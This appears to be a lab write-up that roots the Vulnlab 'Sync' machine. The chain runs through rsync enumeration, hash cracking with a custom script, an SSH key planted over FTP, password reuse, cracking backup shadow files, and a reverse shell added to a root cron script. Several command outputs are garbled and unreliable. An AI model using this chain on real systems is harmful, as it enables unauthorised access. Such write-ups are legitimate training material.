


INITIAL SHELL:


NMAP Scan.

```
(kali®kali)-[~/opt/Vulnlab/sync]
$ nmap -p- -A 10.10.70.206
Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-17 07:45 EDT
Stats: 0:00:13 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 1.02% done; ETC: 08:06 (0:21:01 remaining)
Stats: 0:05:49 upsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 45.58% done; ETC: 07:58 (0:06:57 remaining)
Nmap scan report for 10.10.70.206 (10.10.70.206)
     -(kali@kali)-[~/opt/Vulnlab/sync]
Host is up (0.17s latency).
Not shown: 65531 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3
22/tcp open ssh OpenSSH
                                      vsftpd 3.0.5
                                      OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
 ssh-hostkey:
      256 33cddc855eb120a8a5e9cc92316349e0 (ECDSA)
       256 db174bab8ce2189e5f4d21673e0e32d6 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
 | http-cookie-flags:
           PHPSESSID:
             httponly flag not set
 |_http-title: Login
|_http-server-header: Apache/2.4.52 (Ubuntu)
873/tcp open rsync (protocol version 31)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1382.39 seconds
```


Navigating to port 80 shows a login page which is vulnerable to SQL Injection.




However no further exploitation can be performed.




Since port 873 is open, it is possible to enumerate shares using rsync. Transferring the interesting folder "httpd" to kali.




There is a "site.db" file in the transferred folder. Inspecting it using sqlitebrowser reveals usernames and password hash.






"index.php" which is in "httpd/www/" folder reveals the mechanism for which the hashes are stored in database above.



Creating a custom python script to brute force the hashes using the wordlist "rockyou.txt".




Successfully cracked the password "gerald" for user "triss"

```
(kali@ kali)-[~/opt/Vulnlab/sync]
s pvthon3 custom-crack.py -u triss -ha a0de4d7f81676c3ea9eabcadfd2536f6
triss:gerald

(kali@ kali)-[~/opt/Vulnlab/sync]
s python3 custom-crack.py -u admin -ha 7658a2741c9df3a97c819584db6e6b3c

(kali@ kali)-[~/opt/Vulnlab/sync]
s [kali@ kali]-[~/opt/Vulnlab/sync]
```

Authenticating to port 21 (ftp) with the above credentials, and listing the contents reveals that we are inside the home folder of "triss" user. Creating ".ssh" folder and uploading "authorized_keys" file containing the public key of kali attack machine (Note: you can generate key pairs in kali using "sshkeygen").



Accessing the server as "triss" via ssh thus gaining an initial foothold. Note that no password is required for triss via ssh since the public key of kali attack machine is already uploaded to the target.

```
kali@kali)-[~/opt/Vulnlab/sync]
  $ ssh triss@10.10.70.206
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.19.0-1023-aws x86_64)
 * Documentation: https://help.ubuntu.com
 * Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
  System information as of Tue Oct 17 13:30:58 UTC 2023

        System load:
        0.0
        Processes:
        103

        Usage of /:
        28.0% of 7.57GB
        Users logged in:
        0

        Memory usage:
        24%
        IPv4 address for eth0:
        10.10.70.206

  Swap usage:
 * Ubuntu Pro delivers the most comprehensive open source security and
  compliance features.
   https://ubuntu.com/aws/pro
 * Introducing Expanded Security Maintenance for Applications.
Receive updates to over 25,000 software packages with your
Ubuntu Pro subscription. Free for personal use.
      https://ubuntu.com/pro
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.
triss@ip-10-10-200-238:~$ id;whoami;hostname
uid=1003(triss) gid=1003(triss) groups=1003(triss)
ip-10-10-200-238
triss@ip-10-10-200-238:~$
```

PRIVILEGE ESCALATION I:

Inspecting the "/etc/passwd" file reveals two interesting user "sa" and "jennifer". It is possible to switch user to "jennifer" using the same password as triss which is "gerald".

```
rrisasip-10-10-200-228:-5 cat /stc/passwd
root:x:03:root:/root:/bin/bash
daemon:x:1:1.daemon:/usr/abin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev./usr/sbin/nologin
sys:x:3:3:sys:/dev./usr/sbin/nologin
games:x:5:60:games:/usr/games:/usr/sbin/nologin
lp:x:7:1:p:/var/spool/lpd:/usr/sbin/nologin
lp:x:7:1:p:/var/spool/lpd:/usr/sbin/nologin
news:x:9:9:news:/var/spool/lpd:/usr/sbin/nologin
news:x:9:9:news:/var/spool/led:/usr/sbin/nologin
news:x:9:9:news:/var/spool/led:/usr/sbin/nologin
news:x:9:9:news:/var/spool/led:/usr/sbin/nologin
provy:x:1:11:3:provy./bin:/usr/sbin/nologin
provy:x:1:11:3:provy./bin:/usr/sbin/nologin
provy:x:1:11:3:provy./bin:/usr/sbin/nologin
provy:x:1:11:3:provy./bin:/usr/sbin/nologin
list:x:38:38:Mailing.List Manager:/var/list/usr/sbin/nologin
sist:x:38:38:Mailing.List Manager:/var/list/usr/sbin/nologin
snats:x:41:41:6nats Bug-Reporting System (amin):/var/lib/gaats/usr/sbin/nologin
spstend-restor(x:x:100:102:systemd Metwork Management,,;/run/systemd;/usr/sbin/nologin
systend-network:x:100:103:systemd Resolver,,,;/run/systemd;/usr/sbin/nologin
systend-network:x:100:103:systemd Resolver,,,;/run/systemd;/usr/sbin/nologin
systend-respond:x:30:103:systemd Resolver,,,;/run/systemd;/usr/sbin/nologin
systend-respond:x:101:103:i/nonexistent:/usr/sbin/nologin
systend-respond:x:101:103:i/nonexistent:/usr/sbin/nologin
systend-respond:x:101:103:i/nonexistent:/usr/sbin/nologin
spst:x:100:103:shi-nonexistent:/usr/sbin/nologin
spst:x:100:103:shi-nonexistent:/usr/sbin/nologin
spst:x:100:103:i/nonexistent:/usr/sbin/nologin
polinate:x:100:103:i/nonexistent:/usr/sbin/nologin
polinate:x:100:103:i/nonexistent:/usr/sbin/nologin
polinate:x:100:103:i/nonexistent:/usr/sbin/nologin
polinate:x:100:103:i/nonexistent:/usr/sbin/nologin
polinate:x:100:103:i/nonexistent:/usr/sbin/nologin
polinate:x:100:103:i/nonexistent:/usr/sbin/nologin
polinate:x:100:103:i/nonexistent:/usr/sbin/nologin
polinate:x:100:103:i/nonexistent:/usr/sbin/nologin
polinate:x:100:103:i/nonexistent:/usr/sbin/nologin
polinate:
```


Obtaining the "user.txt" flag

PRIVILEGE ESCALATION II:


Further exploration of the file system reveals an interesting "/backup" folder which contains a lot of zip files.

```
Jamifergip-18-18-28-23:1-3 per John Service Se
```

Transferring one of the zip files to the kali attack machine and unzipping it to get the backup copy of "passwd" and "shadow" files of the target system. Note that it is not possible to read the original "/etc/shadow" file in the target as any user other that "root" user of the target.



Obtaining traditional Unix password file via "unshadow" command.



Cracking the hash using "john the ripper" tool reveals the password "sakura" for "sa" user.

Switching user to "sa".

```
jennifer@ip-10-10-200-238:/backup$ su sa
Password:
sa@ip-10-10-200-238:/backup$ id;whoami;hostname
uid=1001(sa) gid=1001(sa) groups=1001(sa)
sa
ip-10-10-200-238
sa@ip-10-10-200-238:/backup$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9001 qdisc fq_codel state UP group default qlen 1000
    link/ether 0a:90:88:b5:a3:85 brd ff:ff:ff:ff:ff
    inet 10.10.70.206/18 metric 100 brd 10.10.127.255 scope global dynamic eth0
        valid_lft 3437sec preferred_lft 3437sec
    inet6 fe80::890:88ff:feb5:a385/64 scope link
        valid_lft forever preferred_lft forever
```

PRIVILEGE ESCALATION III:

Uploading "pspy64" to the target and running it reveals that a bash script "/usr/local/bin/backup.sh" is being run as "root" user every two minutes. This bash script is responsible for zip files creation above.

```
aBip-10-10-200-238:/tmp$ chmod +x pspy64
aBip-10-10-200-238:/tmp$ ls -lah
otal 3.8M
                          0-200-202/(Mugh 1s - lab)
12 root proof to AMN of to 17 17/29
20 root root to MN oft 17 17/29
20 root root to MN oft 17 11/20

 2023/10/17 17:29:50 CMD: UID=0
2023/10/17 17:29:50 CMD: UID=0
 2023/10/17 17:29:50 CMD: UID=0
2023/10/17 17:30:01 CMD: UID=0
                                                                                                                                                                                                                                                                          mkdir -p /tmp/backup
/bin/bash /usr/local/bin/backup.sh
 2023/10/17 17:30:01 CMD: UID=0
                                                                                                                                                                                                                                                                        /bin/bash /usr/local/bin/backup.sh
 2023/10/17 17:30:01 CMD: UID=0
                                                                                                                                                                                               PID=4262
 2023/10/17 17:30:01 CMD: UID=0
2023/10/17 17:30:01 CMD: UID=0
2023/10/17 17:30:01 CMD: UID=0
                                                                                                                                                                                                                                                                          zip -r /backup/1697563801.zip /tmp/backup
rm -rf /tmp/backup
2023/10/17 17:30:01 CMD: UID=0
2023/10/17 17:30:01 CMD: UID=0
2023/10/17 17:32:01 CMD: UID=0
2023/10/17 17:32:01 CMD: UID=0
                                                                                                                                                                                                                                                                          /usr/sbin/CRON -f -P
/usr/sbin/CRON -f -P
                                                                                                                                                                                                 PID=4271
 2023/10/17 17:32:01 CMD: UID=0
                                                                                                                                                                                                                                                             | cp -r /opt/httpd /tmp/backup
| /bin/bash /usr/local/bin/backup.sh
| /bin/bash /usr/local/bin/backup.sh
 2023/10/17 17:32:01 CMD: UID=0
2023/10/17 17:32:01 CMD: UID=0
 2023/10/17 17:32:01 CMD: UID=0
                                                                                                                                                                                               PID=4277
2023/10/17 17:32:01 CMD: UID=0
```

This bash script is owned by "sa" user. Adding a malicious reverse shell one liner command at the end of the script and waiting two minutes gives a reverse shell as "root" user.